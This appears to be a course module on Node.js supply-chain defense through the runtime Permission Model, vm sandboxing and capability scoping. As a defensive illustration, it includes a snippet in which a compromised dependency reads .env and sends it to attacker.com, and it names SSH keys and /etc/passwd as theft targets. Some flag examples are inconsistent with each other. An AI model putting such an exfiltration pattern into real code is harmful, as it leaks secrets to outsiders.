Runtime supply chain defense, --allow-fs-read capability delegation, and isolating execution contexts against compromised dependencies.
Module 16 — Zero-Trust Runtime Architecture & The Node.js Permission Model
What this module covers: The Node.js ecosystem has a supply chain problem. A single compromised transitive dependency can exfiltrate environment variables, read SSH keys, or establish outbound connections to attacker infrastructure — and your application has no defense. npm audit finds known vulnerabilities. It does not stop unknown ones. The Node.js Permission Model (v20+) provides runtime defense: a process cannot access files, spawn subprocesses, or connect to arbitrary hosts unless explicitly granted permission. This module covers the Permission Model's architecture, capability delegation patterns, and how to structure an ingestion pipeline so that a compromised analytics dependency cannot reach your database credentials.
The Supply Chain Attack Surface
A typical blockchain indexer has:
bash# Count direct + transitive dependencies cat package-lock.json | python3 -c " import json, sys lock = json.load(sys.stdin) print(f'Total packages: {len(lock[\"packages\"])}') " # Output: Total packages: 847
847 packages. You audited and trust maybe 20 of them directly. The other 827 are transitive dependencies of your dependencies. Each one can:
- Read
/etc/passwd,~/.ssh/id_rsa,.env - Open TCP connections to
attacker.com:443 - Execute shell commands
- Write to the filesystem
npm audit only catches packages with known CVEs. A new supply chain attack (a freshly compromised package, a typosquatting attack, a malicious update to a legitimate package) is invisible to npm audit until it is reported.
The Permission Model closes this gap by restricting what the Node.js process can do at runtime, regardless of what any code tries to do.
The Node.js Permission Model (v20+)
The Permission Model is activated via command-line flags. Without a flag, the capability is denied.
bash# Run with specific filesystem permissions only node \ --allow-fs-read=/app/config,/app/dist \ --allow-fs-write=/app/logs \ --allow-net=db.internal:5432,redis.internal:6379,kafka.internal:9092 \ --allow-child-process=false \ dist/app.js
Any code (yours or a dependency's) that tries to access a resource outside these permissions gets a runtime error:
Error [ERR_ACCESS_DENIED]: Access to FileSystemRead was blocked by the Node.js permissions policy.
Requested /etc/passwd, allowed: /app/config, /app/dist
Available Permission Flags
bash--allow-fs-read=<path>[,<path>...] # Filesystem read access --allow-fs-write=<path>[,<path>...] # Filesystem write access --allow-net=<host:port>[,...] # Network connections --allow-child-process # spawn/fork/exec --allow-worker # worker_threads creation --allow-wasi # WASI module execution
Using --experimental-permission without any --allow-* flags enables the model with no permissions granted — a complete deny-all sandbox.
Capability Delegation: Layered Trust
The correct architecture: give each module only the permissions it actually needs.
Full permissions needed:
- Database connection: net to db.internal:5432
- Config files: fs-read /app/config
- Log output: fs-write /app/logs
Not needed:
- Reading /etc, ~/, /home
- Writing to /app/src, /app/node_modules
- Spawning child processes
- Connecting to arbitrary hosts
bash# Minimum-permission production startup node \ --experimental-permission \ --allow-fs-read=/app/dist,/app/config,/app/node_modules \ --allow-fs-write=/app/logs \ --allow-net=db.internal:5432,redis.internal:6379,kafka.internal:9092 \ dist/app.js
What This Prevents
javascript// Compromised dependency attempting exfiltration: import fs from 'node:fs'; import https from 'node:https'; // Read environment variables file const env = fs.readFileSync('/app/.env', 'utf8'); // → ERR_ACCESS_DENIED: .env not in allow-fs-read list // Connect to attacker server const req = https.request({ host: 'attacker.com', port: 443, path: '/exfil' }); req.write(env); // → ERR_ACCESS_DENIED: attacker.com:443 not in allow-net list
The compromised package's operations fail before any data is exfiltrated.
Programmatic Permission Checks
javascriptimport { permission } from 'node:process'; // Check permissions at runtime (Node.js 20+) function assertPermission(resource, path) { if (!permission.has(resource, path)) { throw new Error(`Permission denied: ${resource} for ${path}`); } } // Before writing logs assertPermission('fs.write', '/app/logs/indexer.log'); // Before connecting to a new host assertPermission('net', 'analytics.internal:9000');
Runtime Defense Beyond Permissions: vm Module Sandbox
For executing untrusted code (user-defined analytics scripts, plugin system), the vm module provides a sandbox:
javascriptimport { createContext, runInContext } from 'node:vm'; // Create an isolated context with no access to Node.js APIs function runUntrustedScript(code, inputData) { const sandbox = { // Only expose safe data and functions data: JSON.parse(JSON.stringify(inputData)), // deep clone, no references console: { log: (msg) => safeLog(msg) }, // filtered console Math, JSON, // No: require, process, Buffer, __dirname, fs, net, etc. }; const context = createContext(sandbox); try { return runInContext(code, context, { timeout: 100, // 100ms max execution breakOnSigint: true, // interruptible }); } catch (err) { if (err.code === 'ERR_SCRIPT_EXECUTION_TIMEOUT') { throw new Error('Script timed out'); } throw err; } } // User-defined analytics script runs with no access to host environment runUntrustedScript( 'data.transactions.filter(tx => tx.amount > 1000).length', { transactions: recentTransactions } );
Limitations: vm.runInContext is not a security sandbox against all attacks — determined attackers with access to the JS runtime can escape. For truly untrusted code, use Cloudflare Workers (Module 14) or a subprocess with the Permission Model applied.
Module-Level Capability Scoping
Structure your application so each module explicitly declares what it needs:
typescript// modules/database/index.ts // This module needs: net to database hosts, nothing else export function createDatabaseModule(config: DbConfig) { // Verify at startup that we have the permissions we need if (!process.permission.has('net', `${config.host}:${config.port}`)) { throw new Error(`Database module requires net permission for ${config.host}:${config.port}`); } const pool = new pg.Pool(config); return { pool, query: pool.query.bind(pool) }; } // modules/analytics/index.ts // This module needs: net to analytics database ONLY // It should NOT be able to reach the main database export function createAnalyticsModule(config: AnalyticsConfig) { if (!process.permission.has('net', `${config.analyticsHost}:${config.analyticsPort}`)) { throw new Error(`Analytics module requires net permission for analytics host`); } // This module physically cannot reach config.mainDbHost even if it tried // because that host isn't in the --allow-net list }
Summary
| Concept | Key Takeaway |
|---|---|
| Supply chain risk | 800+ transitive dependencies per app. Any can be compromised. npm audit only finds known CVEs. |
| Permission Model | --experimental-permission with --allow-* flags. Deny all by default. Runtime enforcement. |
--allow-fs-read/write | Restrict filesystem access to specific paths. Compromised deps can't read .env or SSH keys. |
--allow-net | Restrict network connections to specific hosts. Prevents exfiltration to attacker servers. |
permission.has() | Programmatic permission check. Assert permissions at module initialization. |
vm sandbox | Isolated execution context for untrusted scripts. 100ms timeout. No Node.js API access. |
| Capability scoping | Each module declares and checks only the permissions it legitimately needs. |